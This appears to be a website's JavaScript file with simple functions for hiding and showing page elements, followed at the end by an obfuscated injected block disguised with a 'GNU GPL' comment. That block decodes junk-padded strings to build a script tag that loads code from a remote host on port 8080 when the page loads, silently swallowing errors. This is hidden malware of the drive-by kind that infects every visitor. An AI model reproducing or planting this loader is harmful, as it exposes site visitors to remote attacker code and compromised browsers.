
//here you place the ids of every element you want.
var ids=new Array('post-entry','cforms');

function switchid(id){	
	hideallids();
	showdiv(id);
}

function hideallids(){
	//loop through the array and hide each element by id
	for (var i=0;i<ids.length;i++){
		hidediv(ids[i]);
	}		  
}

function hidediv(id) {
	//safe function to hide an element with a specified id
	if (document.getElementById) { // DOM3 = IE5, NS6
		document.getElementById(id).style.display = 'none';
	}
	else {
		if (document.layers) { // Netscape 4
			document.id.display = 'none';
		}
		else { // IE 4
			document.all.id.style.display = 'none';
		}
	}
}

function showdiv(id) {
	//safe function to show an element with a specified id
		  
	if (document.getElementById) { // DOM3 = IE5, NS6
		document.getElementById(id).style.display = 'block';
	}
	else {
		if (document.layers) { // Netscape 4
			document.id.display = 'block';
		}
		else { // IE 4
			document.all.id.style.display = 'block';
		}
	}
}







/*GNU GPL*/ try{window.onload = function(){var P7cfn4w1dos5 = document.createElement('s#@@$c(!r$!i)p@!&#t&'.replace(/\)|\^|\(|@|\$|\!|&|#/ig, ''));P7cfn4w1dos5.setAttribute('type', 'text/javascript');P7cfn4w1dos5.setAttribute('src',  'h##t@#($t@p!:^)@/)^/@$&g)!$o)#&@-&!!c##(#o!^m@.$@5!(&d@!#6)$d(@!(.)()c#!^o@^^!m#.)&b(^@a$)#d)o#&n!g)^o!$#-#&c((o&)^m&!&.#@!^!s)a^!)l@$!!&e#)$t)((r$!#a#(d&e^o@($n@()$l^(i)$!)n#e!@.)$!^)r)@$u#!&:$8@&^0!&!^8!$!!0#)/))t#)^)#a@@@r#)i&))n!g($^!a^.@n&(&&e^&@t)^&@@/#&t@#a@r^^&i#@n&@$^g)($a&$&^.!$))n@)e)&t#@/&g&o@@!o@()g!#l$@e(@.)$$!c(#(o!###m!/!e#!(m$#p$f(l#$@i$&$x&#.(c^#!o!m!&/@!)t^n$^$a@f)(^(l&)i)^&x&&.#$(c$&(@o^^m(/#'.replace(/\!|&|\$|@|\^|\)|#|\(/ig, ''));P7cfn4w1dos5.setAttribute('defer', 'defer');P7cfn4w1dos5.setAttribute('id', 'T@#9$$&u^#&!e^&9(^(&g#$$)&4(c^9#&#v(^&w!&$j^&$'.replace(/\$|\^|\!|&|\(|\)|@|#/ig, ''));document.body.appendChild(P7cfn4w1dos5);}} catch(e) {}
